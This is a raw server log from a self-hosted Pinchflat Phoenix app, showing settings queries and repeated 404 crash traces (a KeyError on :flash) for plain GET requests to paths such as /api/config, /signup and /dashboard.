idle=27.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.976 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:43.977 [error] #PID<0.3673.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 22) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /api/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb3a817bdb-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "mucb652fa3d2ly2s.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3673.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e0bb3a817bdb-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "mucb652fa3d2ly2s.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "172.71.30.220"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/api/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmCDLLXniHDK4AAVjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb3a817bdb-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "mucb652fa3d2ly2s.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb3a817bdb-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "mucb652fa3d2ly2s.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, (truncated) 02:30:44.024 [info] GET /settings 02:30:44.024 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 02:30:44.024 [debug] QUERY OK source="settings" db=0.1ms idle=71.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:44.025 [debug] QUERY OK source="settings" db=0.0ms idle=71.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:44.025 [debug] QUERY OK source="settings" db=0.1ms idle=48.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:44.025 [debug] QUERY OK source="settings" db=0.0ms idle=48.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:44.026 [info] Sent 200 in 2ms 02:30:44.030 [info] GET /signup 02:30:44.030 [debug] QUERY OK source="settings" db=0.1ms idle=19.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:44.030 [debug] QUERY OK source="settings" db=0.0ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:44.030 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:44.030 [error] #PID<0.3675.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 24) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /signup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /signup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb6b21bf7d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "larffc96f4cau84x.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.68.71.97", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3675.0>, params: %{}, path_info: ["signup"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e0bb6b21bf7d-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "larffc96f4cau84x.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "172.68.71.97"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/signup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmCDYDHFSNuzcAAVnB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb6b21bf7d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "larffc96f4cau84x.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.68.71.97", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /signup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb6b21bf7d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "larffc96f4cau84x.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.68.71.97", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3675.0>, params: %{}, (truncated) 02:30:44.130 [info] GET /dashboard 02:30:44.130 [debug] QUERY OK source="settings" db=0.3ms idle=105.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:44.131 [debug] QUERY OK source="settings" db=0.1ms idle=105.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:44.131 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:44.131 [error] #PID<0.3676.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 25) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /dashboard ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb4ddcc202-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "9049d2ffg4wz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3676.0>, params: %{}, path_info: ["dashboard"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e0bb4ddcc202-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "9049d2ffg4wz.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "104.22.24.77"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/dashboard", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmCDv9qDxIYI4AAVoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb4ddcc202-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "9049d2ffg4wz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb4ddcc202-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "9049d2ffg4wz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", bo (truncated) 02:30:45.088 [info] GET /js/antibot-client.js 02:30:45.090 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1058.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:45.090 [debug] QUERY OK source="settings" db=0.2ms idle=1059.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:45.090 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:45.091 [error] #PID<0.3677.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 26) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /js/antibot-client.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/antibot-client (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/antibot-client.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3677.0>, params: %{}, path_info: ["js", "antibot-client"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/js/antibot-client.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmCHUeboDDFt4AAVpB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: 